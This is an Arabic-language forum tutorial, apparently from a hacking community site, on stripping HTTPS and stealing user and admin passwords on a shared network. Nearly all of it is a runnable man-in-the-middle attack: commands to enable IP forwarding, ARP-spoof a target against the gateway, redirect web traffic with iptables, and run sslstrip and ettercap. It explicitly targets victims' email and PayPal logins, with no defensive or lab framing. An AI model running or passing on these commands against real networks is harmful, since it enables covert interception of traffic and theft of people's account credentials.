:: vBspiders Professional Network :: - تخطي الـhttps & http والحصول على باسووردات المستخدمين والأدمن

السلام عليكم ورحمة الله وبركاته
مساء الخير للجميع
درسنا اليوم عن:
1- تخطي حماية الـ HTTPS
2- كسر الباسووردات المستخدمه للدخول عبر الـ HTTP
واستخدام اداه sslstrip للتجسس على الشبكه والحصول على باسوورد الإيميل وجميع الباسووردات الأخرى التي تحتوي اثناء الدخول علىHTTPS
اولا بعد الدخول بصلاحية الروت طبق الأمر التالي

كود:

nano / etc / etter.conf

امسح الـ # في بداية السطرين الظاهرين بالصوره
ومن ثم احفظ الجلسه ب CTRL+x ومن ثم اضغط حرف y للحفظ

ثم طبق الأمر التالي

كود:

echo 1 > /proc / sys/ net/ ipv4/ip_forward

ثم اطبع

كود:

arpspoof -i wlan0 -t 192.168.1.84 192.168.1.254

مع العلم ان

192.168.1.8= الأ بي المستهدف داخل الشبكه
192.168.1.254 = Gateway للشبكة
ستلاحظ الأتي:

http://up1.mlfnt.net/images/8qq5la9w1ymamkzb0nk0.png

افتح سيشن جديد وصلاحيتك رووت طبق الأمر التالي

كود:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

تحويل الترافيك الى بورت 10000
ثم
اطبع الأمر التالي

كود:

  

        sslstrip -a -k -f

حين ووصول البيانات ستلاحظ ظهور المعلومات التاليه في هذه الجلسه

واترك السيشن وافتح سيشن جديده واطبع التالي

كود:

ettercap -T -q -i wlan0

ملاحظه تستطيع استبدال wlan0 بـ eth0 على حسب الانترفيس تبعك

الأن باقي ننتظر المحترم يفتح الايميل سواء جي ميل او ياهو او هوت ميل او باي بال او اي موقع يطلب اليوزر والباسوورد والـ HTTPS

انتهى